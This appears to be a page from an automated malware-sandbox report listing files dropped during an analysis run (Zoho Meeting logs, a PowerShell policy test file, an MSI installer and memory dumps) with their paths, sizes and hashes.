Submit Download

WsAsyncSocketLog.log

Path C:\ProgramData\ZohoMeeting\log\WsAsyncSocketLog.log
Size 4KB
SHA256 3fd8216cd20f1d85bda197c9ebc2c16654a2c4e5011806b799c288156739df28
MD5 c59fb2b5f13c7d6a56c08455fd1b12d9
SHA1 351cb532937c4611c3e656ff282e5983d30dcf99
SHA512 7a6794c2f0091322fa4c86f65b65d938690768924c2a6ef96d86414cab45350deb8af83683b13bd210d947e4237b7aa1f448386fd253181a111ff75351ece55b
SSDEEP 96:KR/FemvjLu/8MrjfmvjLYrt3Qr9TVG8OBKbzU10XjvXTXRp9iZMtawp4p0kPUSUu:C/Femvm/jHmvAZ3QrxVG8OBKbI10Xjve
TLSH
T1B791BFCAAEB6C8C51E25F062C229ED4AF6A6F606E30D54C27BDD618503534F3E5DD0C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZohoURSService.log

Path C:\ProgramData\ZohoMeeting\log\ZohoURSService.log
Size 32KB
SHA256 3f3f4058ca20850c6eaf0183b41801992c2a95e5ba6c9fafd6220105c5e0a2e5
MD5 5ed13468acb8d96d0d80a93fb04ac140
SHA1 c28b073cbfcab7bb1965ea2d808eca0b4deb88f8
SHA512 d380e35ee027af901df911a79423bdc4e022f1ba3290047b7767a0975f9e28b21aa703bfd7aab6c32bc4792d8b9a3485cd20229561c50492285f36f4e4f0d15e
SSDEEP 768:6YqX4ZdU52fd2SfSXwZmQa3tA6XtQBkX3PZEaS0afSafLRgdS4kXoCEWUXs:6fX6dU52fd2kawm3tA6XykX3PZEaS0aj
TLSH
T16AE212DC19A15CDF069F50D89CA127C6CA93EE130C0904916BA47BCC47DD589BFADAEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_jctqarff.tbd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jctqarff.tbd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

LogFileTray.log

Path C:\Users\Admin\AppData\Local\ZohoMeeting\log\LogFileTray.log
Size 3KB
SHA256 657e3440e8854632671af3d118f8497cb75790cdf35aed74160706ceb1a2abd8
MD5 a62eb183c4e4b0a4f6b5ed604ec065ff
SHA1 7137f14f689ff8065bac56c583b3d9e4d81d932e
SHA512 cdb00fa37234d00fa9bdd0d0bf68dd181b5ee80335351c22a1c56814c2d446e11b30289623b5ae6c6466e4bb0d63e458498244af2abc9d7c93ca9b12e9caa7ea
TLSH
T1D681FFDC92656CDF00EC11A04A3D66D78792FC176C2982D83719B69E57CD8827F9D0AC
MD5 SHA1 SHA512 TLSH

Submit Download

__pkg_c470e6b4-cb7f-4d89-a017-0f1b2b8d465a.msi

Path C:\Windows\Temp\__pkg_c470e6b4-cb7f-4d89-a017-0f1b2b8d465a.msi
Size 29.5MB
SHA256 01b9b3d0851372d6757afca72f203699e454ededa1c2284a358a6e33d2e323dc
MD5 b2fc0c7b4ac0f0563f0d7fdb0123c625
SHA1 1b48c7ef1ad1b3e5399a27cf63c7812f61d31287
SHA512 6220b2bd52c4c9bc9a5ee110f3e2ba576b8c9e2d73be7db42b9f54a33b7c89fc558fa69ad23ab7a2ca1047d0088ba5c766aa36c616bd208cfc3754ce62177e12
SSDEEP 786432:JNWZbpSLD/BhvSbzWUPK+DvELDQVxnSDXTm7:JN6b4/nEWS5DvFVNSnm
TLSH
T1C76733E81DDECF26DB83ACB18267395C91F2EC4A49645418F378F838A4B76E0D370946
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5684-15-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-150-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-149-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-20-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-19-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-18-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-158-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-17-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-16-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-0-0x00007FFECD1EF000-0x00007FFECD1F0000-memory.dmp

Download

memory/5684-14-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-13-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-183-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-12-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-11-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-10-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-9-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download

memory/5684-6-0x000002AB53520000-0x000002AB53542000-memory.dmp

Download

memory/5684-7-0x00007FFECD060000-0x00007FFECDA04000-memory.dmp

Download